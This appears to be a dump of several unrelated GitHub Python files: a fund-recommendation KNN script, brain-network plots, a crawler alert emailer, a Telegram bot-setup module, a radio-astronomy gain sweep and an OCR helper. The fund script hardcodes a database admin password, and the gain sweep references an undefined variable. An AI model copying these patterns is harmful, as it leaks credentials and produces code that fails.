KNNmodel(train,kind='ibcf')\n model_i.jaccard_sim()\n model_i.fit(topK=100,remove=True)\n t2 = time.time()\n dt_ibcf = t2-t1\n print('\\n***'*10)\n print('time cost for ibcf:{:.1f}s'.format(dt_ibcf))\n \n ## ubcf\n t1 = time.time()\n model_u = KNNmodel(train,kind='ubcf')\n model_u.jaccard_sim()\n model_u.fit(topK=100,remove=True)\n t2 = time.time()\n dt_ubcf = t2-t1\n print('\\n***'*10)\n print('time cost for ubcf:{:.1f}s'.format(dt_ubcf))\n \n ## popular\n t1 = time.time()\n model_p = KNNmodel(train,kind='popular')\n model_p.fit(topK=100,remove=True)\n t2 = time.time()\n dt_pop = t2-t1\n print('\\n***'*10)\n print('time cost for popular:{:.1f}s'.format(dt_pop))\n \n ## ubcf-fs\n t1 = time.time()\n model_fs = KNNmodel(train,kind='ubcf_fs')\n model_fs.fit(topK=100,user_features = train_ufs,remove=True)\n t2 = time.time()\n print('\\n***'*10)\n print('time cost for ubcf_fs:{:.1f}s'.format(t2-t1))\n \n \n \n #%%\n # =============================================================================\n # 評估模型 , recall/ precision\n # =============================================================================\n uids = np.arange(0,train.shape[0])\n\n predall_u = model_u.predict(uids,topN=10) # np array (itemidx)\n model_u.evaluate(predall_u,test,method='recall') # 24.09 (22.82 %)\n\n predall_i = model_i.predict(uids,topN=10) #nparray (itemidx)\n model_i.evaluate(predall_i,test,method='recall') # 11.72 (11.44 %)\n\n predall_p = model_p.predict(uids,topN=10) #nparray (itemidx)\n model_p.evaluate(predall_p,test,method='recall') # 20.14 (19.09 %)\n \n predall_ufs = model_fs.predict(uids,topN=10) #nparray (itemidx)\n model_fs.evaluate(predall_ufs,test,method='recall') # 31.95 (25.49 %) \n # =============================================================================\n model_u.evaluate(predall_u,test,method='precision') # 2.41 (2.28 %)\n model_i.evaluate(predall_i,test,method='precision') # 1.17 (1.14 %)\n model_p.evaluate(predall_p,test,method='precision') # 2.01 (1.91 %)\n model_fs.evaluate(predall_ufs,test,method='precision') # 3.20 (2.55 %)\n\n \n #%%\n # =============================================================================\n # 推薦標的分數/清單(numpy array)\n # =============================================================================\n predall_itemid_fs, predall_rating_fs = get_itemids_ratings_np(\n model_fs, predall_ufs)\n predall_itemid_u,predall_rating_u = get_itemids_ratings_np(model_u,predall_u)\n predall_itemid_p,predall_rating_p = get_itemids_ratings_np(model_p,predall_p)\n\n # =============================================================================\n # ### 整理成dataframe \n # =============================================================================\n \n \n df = arrange_predict_to_dataframe(predall_itemid_fs,predall_rating_fs,'ubcf_fs') # ubcf-fs\n df2 = arrange_predict_to_dataframe(predall_itemid_u,predall_rating_u,'ubcf') # ubcf\n df3 = arrange_predict_to_dataframe(predall_itemid_p,predall_rating_p,'popular')# popular\n \n df_total = pd.concat([df,df2,df3])\n df_total['rank'] = df_total.index +1\n #df_total\n \n\n #%%\n # =============================================================================\n # 賦予每個推薦的基金商品推薦原因(至多八個)--- \n # --- 因為用戶買過的商品有xx屬性, oo也同樣有 ....\n # =============================================================================\n df_item_features = pd.read_sql(\"select * from v_ihong_基金推薦demo_基金特徵\",conn)\n df_item_features.to_csv('./funds/df_item_features.csv',index=False)\n df_item_features = pd.read_csv('./funds/df_item_features.csv',sep=',',encoding='cp950')\n \n all_itemids = idx_to_itemid.values()\n bool_itemids = df_item_features['基金代碼'].isin(all_itemids)\n df_item_features = df_item_features[bool_itemids]\n \n #### establish items features look up table ######\n funds_f = {}\n for index, row in df_item_features.iterrows():\n temp_f = [] \n i_features = row.values\n iid = i_features[0]\n for idx, feat in enumerate(i_features):\n if feat!=None and str(feat)!='nan' and idx!= 0: \n temp_f.append(feat)\n funds_f[iid] = temp_f\n \n all_uidxs = np.arange(train.shape[0])\n all_uids = [idx_to_userid[u] for u in all_uidxs]\n \n \n ##### users have features ####\n users_have_features = {}\n for uid in tqdm(all_uids): ## 38 iter/sec --- pretty slow !!!\n users_have_features[uid] = get_features_given_uid(uid,df_gt2)\n ##### \n# get_recommended_item_for_user('AE7',users_have_features['A1220335170'])\n df_total = df2\n \n def get_items_features(row):\n fundid = row['fundid']\n userid = row['userid']\n common_features_list = list(get_recommended_item_for_user(fundid,\n users_have_features[userid]))\n return ','.join(common_features_list)\n \n ##### 對應每個用戶推薦的品項給出推薦原因(因為買過的基金屬性中,商品也有....)\n df_total['tag_features'] = df_total[['fundid','userid']].apply(get_items_features,axis=1)\n \n#%% \n # =============================================================================\n # \n # =============================================================================\n engine = sqlalchemy.create_engine(\"mssql+pyodbc://sa:01060728@dbm_public/test?driver=SQL Server\")\n engine.connect()\n \n \n df_total['score'] = df_total['score'].astype('float16')\n \n df_total.to_sql('ihong_基金推薦demo_推薦清單temp', con=engine,index=False,\n if_exists='replace',\n dtype = {'fundid':sqlalchemy.types.VARCHAR(length=255),\n 'model':sqlalchemy.types.VARCHAR(length=20),\n 'score':sqlalchemy.types.DECIMAL(5,3),\n 'rank' : sqlalchemy.types.INT(),\n 'userid': sqlalchemy.types.VARCHAR(length=20),\n 'tag_features': sqlalchemy.types.VARCHAR(length=255)\n })\n# df_total.to_csv('./funds/recommended_list.csv',index=False) # save to csv local file\n \n# df_gt2.to_sql('ihong_基金推薦demo_申購紀錄',con=engine,index=False,\n# if_exists='replace',\n# dtype = {'申購登錄年':sqlalchemy.types.SMALLINT,\n# '身分證字號':sqlalchemy.types.VARCHAR(length=20),\n# '基金中文名稱':sqlalchemy.types.VARCHAR(length=100),\n# '憑證':sqlalchemy.types.VARCHAR(length=20),\n# 'db身分':sqlalchemy.types.VARCHAR(length=20),\n# '投資型態':sqlalchemy.types.VARCHAR(length=20),\n# '自然人身分':sqlalchemy.types.VARCHAR(length=20),\n# 'idn': sqlalchemy.types.INT,\n# '基金代碼':sqlalchemy.types.VARCHAR(length=20),\n# '購買次數':sqlalchemy.types.SMALLINT,\n# })\n# df_ufs.to_sql('ihong_基金推薦demo_用戶特徵',con=engine,index=False,\n# if_exists='replace',\n# dtype = {'國內股票型':sqlalchemy.types.SMALLINT,\n# '國外債券型':sqlalchemy.types.SMALLINT,\n# '國外股票型':sqlalchemy.types.SMALLINT,\n# 'a.AUM.0元':sqlalchemy.types.SMALLINT,\n# 'b.AUM.0.100萬元':sqlalchemy.types.SMALLINT,\n# 'c.AUM.100.300萬':sqlalchemy.types.SMALLINT,\n# 'd.AUM.300萬元以上':sqlalchemy.types.SMALLINT,\n# 'uid':sqlalchemy.types.VARCHAR(length=20),\n# 'uidx':sqlalchemy.types.SMALLINT\n# })\n# \n# df_item_used = df_item[df_item['基金代碼'].isin(fundids)]\n# df_item_used['yyyymmdd'] = df_item_used['yyyymmdd'].astype('object')\n# df_item_used['iidx'] = df_item_used['iidx'].astype('int')\n# df_item_used.to_sql('ihong_基金推薦demo_基金特徵',con=engine,index=False,\n# if_exists='replace',\n# dtype={'更新時間':sqlalchemy.types.DATETIME,\n# 'yyyymmdd':sqlalchemy.types.VARCHAR(length=8),\n# '基金代碼':sqlalchemy.types.VARCHAR(length=10),\n# '國內外基金註記':sqlalchemy.types.SMALLINT,\n# '基金規模(台幣/億)':sqlalchemy.types.DECIMAL(20,3),\n# '基金目前規模區間':sqlalchemy.types.VARCHAR(length=30),\n# '基金成立時間':sqlalchemy.types.DATETIME,\n# '基金成立幾年':sqlalchemy.types.SMALLINT,\n# '基金公司代碼':sqlalchemy.types.VARCHAR(length=10),\n# '計價幣別':sqlalchemy.types.VARCHAR(length=10),\n# '基金經理人':sqlalchemy.types.VARCHAR(length=200),\n# '區域別':sqlalchemy.types.VARCHAR(length=10),\n# '基金投資產業分類1':sqlalchemy.types.VARCHAR(length=50),\n# '基金投資產業分類2':sqlalchemy.types.VARCHAR(length=50),\n# '基金投資產業分類3':sqlalchemy.types.VARCHAR(length=50),\n# 'aum基金型態別':sqlalchemy.types.VARCHAR(length=10),\n# '商品投資屬性':sqlalchemy.types.VARCHAR(length=10),\n# '高收益債註記':sqlalchemy.types.SMALLINT,\n# '保本型基金註記':sqlalchemy.types.VARCHAR(length=10),\n# '淨值':sqlalchemy.types.DECIMAL(20,2),\n# 'sharpe':sqlalchemy.types.DECIMAL(5,2),\n# 'beta':sqlalchemy.types.DECIMAL(5,2),\n# '一個月累積報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '三個月累積報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '六個月累積報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '一年累積報酬率(%)': sqlalchemy.types.DECIMAL(20,2),\n# '三年累積報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '五年累積報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '自今年以來報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '自成立日起報酬率(%)':sqlalchemy.types.DECIMAL(20,2),\n# '基金評等':sqlalchemy.types.DECIMAL(2,1),\n# '熱賣基金註記':sqlalchemy.types.SMALLINT,\n# '投資型態別':sqlalchemy.types.VARCHAR(length=20),\n# 'cluster':sqlalchemy.types.SMALLINT,\n# 'iidx':sqlalchemy.types.SMALLINT \n# })\n","repo_name":"ihongChen/PlayRecommendSystem","sub_path":"knn_funds_recommendation.py","file_name":"knn_funds_recommendation.py","file_ext":"py","file_size_in_byte":18226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40504318759","text":"import bct\nfrom patients.patientData import *\nfrom matplotlib import pyplot as plt\n\narray = loadHPCData(\"netmats2\")\n\npatientNames = array[0:30]\n\nncols = 5\n\nnrows = int(np.ceil(len(patientNames) / (1.0*ncols)))\n\nfig, axes = plt.subplots(nrows=nrows, ncols=ncols, figsize=(10, 10))\n\ncharacter_path_lengths = []\n\n\nfor i in range(nrows):\n for j in range(ncols):\n # print(i*ncols + j)\n patient = patientNames[i*ncols + j]\n degrees = bct.strengths_und(patient)\n character_path_length = bct.charpath(patient)\n character_path_lengths.append(character_path_length[0])\n print(character_path_length[0])\n ax = axes[i, j]\n ax.hist(degrees, bins=10, color='blue', alpha=0.5, label=f\"P{i*ncols + j}\")\n ax.set_xlabel('x')\n ax.set_ylabel('PDF')\n leg = ax.legend(loc='upper left')\n leg.draw_frame(False)\n\nplt.show()\n\n\n\n","repo_name":"AIMS-VUB/The-Naming-Game","sub_path":"graphAnalysis/degreeDistribution.py","file_name":"degreeDistribution.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71814612355","text":"\"\"\"\npython3 ./send_email.py -m summary --crawl_date 2022-11-17\n\"\"\"\nimport getopt\nimport os\nimport sys\nimport pandas as pd\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport json\n\nsys.path.append('../')\n\nimport db.utils as dbutil\n\n\ndef send_email(subject, mail_content, to_emails=None, sender_email='housetech.alert@gmail.com'):\n # The mail addresses and password\n if to_emails is None:\n to_emails = ['wyudun@gmail.com']\n f = open('/home/ubuntu/houspiders/email_monitoring/key.json')\n keys = json.load(f)\n\n # Set up the MIME\n message = MIMEMultipart()\n message['From'] = sender_email\n message['To'] = ','.join(to_emails)\n message['Subject'] = subject # The subject line\n\n # The body and the attachments for the mail\n message.attach(MIMEText(mail_content, 'plain'))\n # Create SMTP session for sending the mail\n session = smtplib.SMTP('smtp.gmail.com', 587) # Use gmail with port\n session.starttls() # enable security\n session.login(sender_email, keys[sender_email]) # Login with mail_id and password\n text = message.as_string()\n session.sendmail(sender_email, to_emails, text)\n session.quit()\n\n\ndef send_summary_email(crawl_date):\n cnx = dbutil.get_mysql_cnx()\n stats_df = pd.read_sql(f\"\"\"SELECT category, city, new_added_house_num, \n new_unavailable_become_available_house_num, \n updated_house_num,\n new_unavailable_house_num \n FROM lifull_crawler_stats \n WHERE crawl_date = '{crawl_date}'\n ORDER BY city, category\n \"\"\", cnx)\n\n subject = f\"{stats_df['new_added_house_num'].sum()} New, {stats_df['new_unavailable_house_num'].sum()} Removed, {stats_df['updated_house_num'].sum()} Updated, {stats_df['new_unavailable_become_available_house_num'].sum()} Reopen\"\n\n result_content = '\\n'.join([\n f'{x.city} {x.category}: {x.new_added_house_num} New, {x.new_unavailable_house_num} Removed, {x.updated_house_num} Updated, {x.new_unavailable_become_available_house_num} Reopen'\n for _, x in stats_df.iterrows()])\n\n send_email(subject=f'[Houspider Update][{crawl_date}] {subject}',\n mail_content=f\"\"\"Houspider Results for {crawl_date}:\n{result_content}\n\"\"\")\n print('Summary Email Sent successfully.')\n\n\ndef send_alert_email(crawl_date):\n subject = ''\n\n has_error_list_urls_alert = False\n error_list_urls_error_content = ''\n error_list_urls_paths = [f'/home/ubuntu/houspiders/house_list_spider/output/{crawl_date}/error_list_urls.csv',\n f'/home/ubuntu/houspiders/house_list_spider/output/{crawl_date}/error_chintai_list_urls.csv',\n f'/home/ubuntu/houspiders/house_list_spider/output/{crawl_date}/error_other_list_urls.csv']\n error_list_urls_df = None\n for error_list_urls_path in error_list_urls_paths:\n if os.path.exists(error_list_urls_path):\n try:\n error_list_urls_df = pd.read_csv(error_list_urls_path)\n except pd.errors.EmptyDataError:\n pass\n except:\n has_error_list_urls_alert = True\n error_list_urls_error_content += f'\\nError reading {error_list_urls_path}'\n\n if error_list_urls_df is not None and len(error_list_urls_df) > 0:\n has_error_list_urls_alert = True\n error_list_urls_first_3_str = '\\n'.join(list(error_list_urls_df[:3]['error_list_url']) + ['...'])\n error_list_urls_error_content += f\"\"\"\n{len(error_list_urls_df)} house list page urls have errors:\n{error_list_urls_first_3_str}\n\"\"\"\n\n if has_error_list_urls_alert:\n subject += ' error_house_list_url'\n\n has_error_house_info_urls_alert = False\n error_house_info_urls_error_content = ''\n error_house_info_url_df = None\n error_house_info_url_paths = [f'/home/ubuntu/houspiders/house_info_spider/output/{crawl_date}/error_house_id2.csv',\n f'/home/ubuntu/houspiders/house_info_spider/output/{crawl_date}/error_house_chintai_id2.csv',\n f'/home/ubuntu/houspiders/house_info_spider/output/{crawl_date}/error_house_other_id2.csv']\n for error_house_info_url_path in error_house_info_url_paths:\n try:\n error_house_info_url_df = pd.read_csv(error_house_info_url_path)\n except pd.errors.EmptyDataError:\n pass\n except:\n has_error_house_info_urls_alert = True\n error_house_info_urls_error_content += f'\\nError reading {error_house_info_url_path}'\n\n if error_house_info_url_df is not None and len(error_house_info_url_df) > 0:\n has_error_house_info_urls_alert = True\n error_house_info_url_str = '\\n'.join(\n [f'{x.house_id}: {x.fail_reason}' for _, x in error_house_info_url_df[:100].iterrows()])\n error_house_info_urls_error_content += f\"\"\"\n{len(error_house_info_url_df)} house info urls have errors in {error_house_info_url_path.split('/')[-1]}:\n{error_house_info_url_str}\n...\n\"\"\"\n if has_error_house_info_urls_alert:\n subject += ' error_house_info_url'\n\n if has_error_list_urls_alert or has_error_house_info_urls_alert:\n send_email(subject=f'[Houspider Error][{crawl_date}]{subject}',\n mail_content=f\"\"\"We found following errors during crawling data for {crawl_date}:\n{error_list_urls_error_content}{error_house_info_urls_error_content}\n\"\"\")\n else:\n print('No alerts today.')\n\n\ndef main(mode, crawl_date):\n if mode == 'summary':\n send_summary_email(crawl_date)\n elif mode == 'alert':\n send_alert_email(crawl_date)\n\n\nif __name__ == \"__main__\":\n usage = 'main.py -m --crawl_date '\n mode = 'summary'\n crawl_date = ''\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hm:\", [\"mode=\", \"crawl_date=\"])\n except getopt.GetoptError:\n print(usage)\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print(usage)\n sys.exit()\n elif opt in (\"-m\", \"--mode\"):\n mode = arg\n elif opt in (\"--crawl_date\"):\n crawl_date = arg\n assert mode in ('summary', 'alert')\n\n print('Email Mode Used:', mode)\n print('Crawl_date:', crawl_date)\n\n main(mode, crawl_date)\n","repo_name":"yudun/houspiders","sub_path":"email_monitoring/send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71245625153","text":"import asyncio\nimport collections\nfrom datetime import datetime\nfrom typing import ClassVar, Sequence, Tuple, Union\n\nimport telethon as tg\nimport tomlkit\nfrom tomlkit.toml_document import TOMLDocument\n\nfrom .. import command, module, util\n\nExchange = collections.namedtuple(\"Exchange\", [\"command\", \"response\"])\n\n\nclass BotSetupModule(module.Module):\n name: ClassVar[str] = \"Bot Setup\"\n\n @staticmethod\n def parse_config(\n chat_id: int, input_cfg: str\n ) -> Union[str, Tuple[str, str, str, TOMLDocument]]:\n target = \"MissRose_bot\"\n rules = [\n \"Rules:\",\n \"*Use common sense.* We're all people.\",\n \"*Don't spam.* Consider other people's notifications.\",\n \"*English only.* This is a universal chat — make sure everyone can understand your messages.\",\n \"*Search before asking questions.* It saves everyone's time, including yours.\",\n \"*Limit off-topic discussion.* While minor off-topic content is allowed, keep the chat's original topic in mind.\",\n ]\n\n default_rules_list = \", \".join(f'\"{rule}\"' for rule in rules)\n bracket_format = \"{}\"\n cfg_err = f\"\"\"**Invalid config.** The following options are supported:\n```\n# Bot to setup\ntarget = \"{target}\"\n\n# Default rules\nrules = [{default_rules_list}]\nextra_rules = []\n\n# Add \":same\" at the end of links to put buttons on the same line\n# \"Rules\" is always present as the first button\n[buttons]\n\"XDA Thread\" = \"https://forum.xda-developers.com/\"\nGitHub = \"https://github.com/\"```\n\n{bracket_format}\"\"\"\n\n input_cfg = util.tg.filter_code_block(input_cfg)\n if input_cfg.startswith(\"?\") or input_cfg.startswith(\"help\"):\n return cfg_err.format(\"\")\n\n button_map = {\"Rules\": f\"https://t.me/{target}?start=rules_{chat_id}\"}\n\n cfg: TOMLDocument\n if input_cfg:\n try:\n cfg = tomlkit.loads(input_cfg)\n except Exception as e:\n return cfg_err.format(str(e))\n\n if \"target\" in cfg:\n target = cfg[\"target\"]\n\n if \"rules\" in cfg:\n rules = cfg[\"rules\"]\n\n if \"extra_rules\" in cfg:\n rules.extend(cfg[\"extra_rules\"])\n\n if \"buttons\" in cfg:\n button_map.update(cfg[\"buttons\"])\n else:\n cfg = tomlkit.document()\n\n rule_str = util.text.join_list(rules)\n button_links = [\n f\"[{name}](buttonurl://{dest})\" for name, dest in button_map.items()\n ]\n button_str = \"\\n\".join(button_links)\n\n return target, rule_str, button_str, cfg\n\n @staticmethod\n def get_exchanges(\n chat_id: int, rule_str: str, button_str: str\n ) -> Sequence[Exchange]:\n return [\n Exchange(f\"/connect {chat_id}\", response=\"connected\"),\n Exchange(\"/welcome on\", response=\"welcom\"),\n Exchange(\"/goodbye off\", response=\"leave\"),\n Exchange(\"/setwarnlimit 3\", response=\"updated\"),\n Exchange(\"/setwarnmode ban\", response=\"updated\"),\n Exchange(\n \"\"\"/setwelcome *Welcome*, {first}!\nPlease read the rules _before_ participating.\n\"\"\"\n + button_str,\n response=\"saved\",\n ),\n Exchange(\"/cleanwelcome on\", response=\"delet\"),\n Exchange(f\"/setrules {rule_str}\", response=\"success\"),\n Exchange(\"/setflood 13\", response=\"updated\"),\n Exchange(\"/setfloodmode tmute 3h\", response=\"updated\"),\n Exchange(\"/reports on\", response=\"able\"),\n Exchange(\"/captchamode text\", response=\"set to text\"),\n Exchange(\"/captchatime 13w\", response=\"13 weeks\"),\n Exchange(\"/blacklistmode tban 2d\", response=\"updated\"),\n Exchange(\"/disconnect\", response=\"disconnect\"),\n ]\n\n async def promote_bot(self, chat: tg.types.InputPeerChannel, username: str) -> None:\n rights = tg.tl.types.ChatAdminRights(\n delete_messages=True, ban_users=True, invite_users=True, pin_messages=True\n )\n\n request = tg.tl.functions.channels.EditAdminRequest(\n chat, username, rights, \"bot\"\n )\n await self.bot.client(request)\n\n @staticmethod\n def truncate_xchg_list(commands: Sequence[Exchange]) -> Sequence[str]:\n new_list = []\n\n for xchg in commands:\n lines = xchg.command.split(\"\\n\")\n first_line = lines[0]\n\n if len(lines) > 1:\n first_line += \"...\"\n\n new_list.append(first_line)\n\n return new_list\n\n @command.desc(\"Set up @MissRose_bot and derivatives\")\n @command.usage(\"[config?]\", optional=True)\n async def cmd_bsetup(self, ctx: command.Context) -> str:\n input_cfg = ctx.input\n\n if not ctx.msg.is_group:\n return \"__This feature can only be used in groups.__\"\n\n parse_results = self.parse_config(ctx.msg.chat_id, input_cfg)\n if isinstance(parse_results, str):\n # A string return value means an error occurred, so propagate it\n return parse_results\n\n target, rule_str, button_str, parsed_cfg = parse_results\n exchanges = self.get_exchanges(ctx.msg.chat_id, rule_str, button_str)\n formatted_cfg = tomlkit.dumps(parsed_cfg)\n if formatted_cfg:\n settings_used = f\"\\n```{formatted_cfg}```\"\n else:\n settings_used = \" defaults\\n\"\n\n before = datetime.now()\n\n status_header = f\"Setting up @{target} via PM connection...\"\n await ctx.respond(status_header)\n\n input_chat = await ctx.msg.get_input_chat()\n if isinstance(input_chat, tg.types.InputPeerChannel):\n try:\n await self.promote_bot(input_chat, target)\n except Exception as e:\n status_header += (\n f\"\\n**WARNING:** Unable to promote @{target}: `{str(e)}`\"\n )\n await ctx.respond(status_header)\n\n async with self.bot.client.conversation(target) as conv:\n\n async def reply_and_ack() -> tg.custom.Message:\n # Wait for a reply\n reply = await conv.get_reply()\n # Ack the reply to suppress its notification\n await conv.mark_read()\n\n return reply\n\n for idx, xchg in enumerate(exchanges):\n await conv.send_message(xchg.command, parse_mode=None)\n\n cur_cmd_list = self.truncate_xchg_list(exchanges[: idx + 1])\n cmd_log = \"\\n\".join(cur_cmd_list)\n status_body = f\"\"\"Settings:{settings_used}\nCommands issued:\n```{cmd_log}```\"\"\"\n status = f\"\"\"{status_header}\n\n{status_body}\"\"\"\n\n # Wait for the rate-limit, the bot's response, and the send\n try:\n reply_task = self.bot.loop.create_task(reply_and_ack())\n send_task = self.bot.loop.create_task(ctx.respond(status))\n\n # pylint: disable=unused-variable\n done, pending = await asyncio.wait(\n (reply_task, send_task, asyncio.sleep(0.25))\n )\n\n # Raise all exceptions\n for future in done:\n exp = future.exception()\n if exp is not None:\n raise exp\n except asyncio.TimeoutError:\n return f\"\"\"@{target} failed to respond during setup. Try again later.\n\n{status_body}\"\"\"\n\n # Validate response\n msg = reply_task.result()\n if xchg.response not in msg.raw_text.lower():\n return f\"\"\"Unexpected response received from @{target} during setup.\n\n{status_body}\n\nLast response: \"{msg.text}\"\n\"\"\"\n\n after = datetime.now()\n delta_seconds = int((after - before).total_seconds())\n\n return f\"\"\"Setup of @{target} finished in {delta_seconds} seconds.\n\n{status_body}\"\"\"\n","repo_name":"kdrag0n/pyrobud","sub_path":"pyrobud/modules/bot_setup.py","file_name":"bot_setup.py","file_ext":"py","file_size_in_byte":8035,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"61"} +{"seq_id":"33810385564","text":"#!/usr/bin/python\n\n# this source is part of my Hackster.io project: https://www.hackster.io/mariocannistra/radio-astronomy-with-rtl-sdr-raspberrypi-and-amazon-aws-iot-45b617\n\n# BEFORE RUNNING THIS PROGRAM please set your configuration values in file radioConfig.py\n\n# this program executes the radio scans just like doscanw.py but will iterate through all the possible gain values and reuse each time all the other parameters\n# in this way it will be possible to visualize the different power ranges that can be measured in the same receiver/antenna conditions/configuration varying the receiver gain. It could be a useful tool in selecting a gain that is not too high or low and possibly avoid the cross modulation effects\n\n# At the end of session it will run findsessionrangew.py that will determine the overall\n# range of signal strengths received during the whole session. Its output will be stored in 2 files:\n# dbminmax.txt and session-overview.png . The first contains two rows of text with just the maximum\n# and minimum of the whole session. The second contains a chart of all the min and max values for each of\n# the scan files\n\nfrom datetime import datetime\nimport subprocess\nimport os\nimport radioConfig\nimport numpy as np\nimport math\n\navailgains = np.array( [ 9, 14, 27, 37, 77, 87, 125, 144, 157, 166, 197, 207, 229, 254, 280, 297, 328, 338, 364, 372, 386, 402, 421, 434, 439, 445, 480, 496 ] )\n\n# 328-338-364\n# these are the 3 best gain values found on first run, 20.1 MHz and stylus antenna, without LNA\n\nfor ggg in availgains:\n\n\tcmdstring = \"rtl_power_fftw\"\n\n\tfreqstart = radioConfig.freqCenter - (radioConfig.freqBandwidth/2) + radioConfig.upconvFreqHz\n\tfreqstop = radioConfig.freqCenter + (radioConfig.freqBandwidth/2) + radioConfig.upconvFreqHz\n\tsfreqstart = '%0.3fM' % (freqstart/1000000.0)\n\tsfreqstop = '%0.3fM' % (freqstop/1000000.0)\n\n\tif radioConfig.totalFFTbins > 0:\n\t\tfreqbins = radioConfig.totalFFTbins\n\telse:\n\t\tfreqbins = (freqstop - freqstart) / radioConfig.binSizeHz\n\n\thops = math.ceil( float(freqstop - freqstart) / float(radioConfig.rtlSampleRateHz) )\n\tif hops > 1:\n\t\tfreqbins = int( freqbins / hops )\n\t\ttotalFFTbins = int(freqbins * hops)\n\telse:\n\t\ttotalFFTbins = int(freqbins)\n\n\tdatagathduration = str(radioConfig.dataGatheringDurationMin) + \"m\"\n\ttruefreqstart = '%0.3fM' % ((radioConfig.freqCenter - (radioConfig.freqBandwidth/2))/1000000.0)\n\ttruefreqstop = '%0.3fM' % ((radioConfig.freqCenter + (radioConfig.freqBandwidth/2))/1000000.0)\n\n\tcmdstring = cmdstring + \" -f \" + str(freqstart)\n\tcmdstring = cmdstring + \":\" + str(freqstop)\n\n\tcmdstring = cmdstring + \" -r \" + str(radioConfig.rtlSampleRateHz)\n\n\tcmdstring = cmdstring + \" -b \" + str(freqbins)\n\n\tif radioConfig.integrationIntervalSec > 0:\n\t\tcmdstring = cmdstring + \" -t \" + str(radioConfig.integrationIntervalSec)\n\t\tcmdstring = cmdstring + \" -T\"\n\telse:\n\t\tcmdstring = cmdstring + \" -n \" + str(radioConfig.integrationScans)\n\n\tcmdstring = cmdstring + \" -g \" + str( ggg )\n\n\tcmdstring = cmdstring + \" -p \" + str(radioConfig.tunerOffsetPPM)\n\n\tif radioConfig.cropPercentage > 0:\n\t\tcmdstring = cmdstring + \" -x \" + str(radioConfig.cropPercentage)\n\n\tcmdstring = cmdstring + \" -e \" + datagathduration\n\tcmdstring = cmdstring + \" -q\"\n\n\tif radioConfig.linearPower:\n\t\tcmdstring = cmdstring + \" -l\"\n\n\tscantimestamp = datetime.utcnow().strftime('%Y%m%d%H%M%S')\n\n #build scan filename\n\tscanname = \"UTC\" + scantimestamp + \"-\" + radioConfig.stationID + \"-\" + radioConfig.scanTarget + \"-\" + truefreqstart + \"-\" + truefreqstop + \"-b\" + str(totalFFTbins)\n\n\tif radioConfig.integrationIntervalSec > 0:\n\t\tscanname = scanname + \"-t\" + str(radioConfig.integrationIntervalSec)\n\telse:\n\t\tscanname = scanname + \"-n\" + str(radioConfig.integrationScans)\n\n\tscanname = scanname + \"-g\" + str( ggg ) + \"-e\" + datagathduration\n\n\tcompletecmdstring = cmdstring + \" -m \" + sessiondate + os.sep + scanname\n\n\tprint('running scan with gain %s' % (ggg))\n\tprint(completecmdstring)\n\n\t#run the scan and wait for completion\n\tscanp = subprocess.Popen(completecmdstring, shell = True)\n\t#os.waitpid(scanp.pid, 0)\n\tscanp.wait()\n\n\t#get event probability info\n\t#process the scan adding probability info\n\n\tchartcmdstring = \"python postprocw.py \" + scanname + \" 0.0 0.0 \" + sessiondate\n\t#run gnuplot WITHOUT waiting for completion\n\tgenchrtp = subprocess.Popen(chartcmdstring, shell = True)\n\n\tprint('processing complete for scan with gain %s' % (ggg))\n\nchartcmdstring = \"python findsessionrangew.py \" + sessiondate\ngenchrtp = subprocess.Popen(chartcmdstring, shell = True)\n","repo_name":"mariocannistra/radio-astronomy-fftw","sub_path":"gainloop.py","file_name":"gainloop.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"73061790914","text":"# coding=utf-8\n\nimport os\nimport sys\nimport shutil\nimport pytesseract\nfrom PIL import Image\n\n\nclass Word:\n def __init__(self, img: Image.Image, source: str):\n self.img = img\n self.w = self.img.size[0] # width\n self.h = self.img.size[1] # height\n self.source = source\n self.left_width = find_word_spliter(img)\n\n def set_source(self, source: str):\n self.source = source\n\n def left_blank_percent(self) -> int:\n return round(get_margin_left(self.img) * 100 / self.w)\n\n def right_blank_percent(self) -> int:\n return round(get_margin_right(self.img) * 100 / self.w)\n\n def left(self) -> Image.Image:\n left = self.img.crop((0, 0, self.left_width, self.h))\n m = get_margin(left)\n if m[0] + m[2] >= left.size[0] or m[1] + m[3] >= left.size[1]:\n return left\n return left.crop((m[0], m[1], left.size[0] - m[2], left.size[1] - m[3]))\n\n def right(self) -> Image.Image:\n right = self.img.crop((self.left_width, 0, self.w, self.h))\n m = get_margin(right)\n if m[0] + m[2] >= right.size[0] or m[1] + m[3] >= right.size[1]:\n return right\n return right.crop((m[0], m[1], right.size[0] - m[2], right.size[1] - m[3]))\n\n # 对左半部分进行OCR文字识别,单词\n def left_text(self) -> str:\n return (\n str(pytesseract.image_to_string(image=self.left(), lang=\"deu\"))\n .replace(\"\\n\", \" \")\n .replace(\" \", \" \")\n .strip()\n )\n\n # 对右半部分进行OCR文字识别,例句\n def right_text(self) -> str:\n text = (\n str(pytesseract.image_to_string(image=self.right(), lang=\"deu\"))\n .replace(\"\\n\", \" \")\n .replace(\" \", \" \")\n .strip()\n )\n for i in range(9):\n text = text.replace(f\" {i}. \", f\"\\n{i}. \")\n return text\n\n def add_margin(self, img: Image.Image) -> Image.Image:\n img_new = Image.new(\"RGB\", (img.size[0] + 40, img.size[1] + 40), \"white\")\n img_new.paste(img, (20, 20))\n return img_new\n\n def save(self, filename: str) -> str:\n self.add_margin(self.img).save(filename)\n return filename\n\n def save_left(self, filename: str) -> str:\n 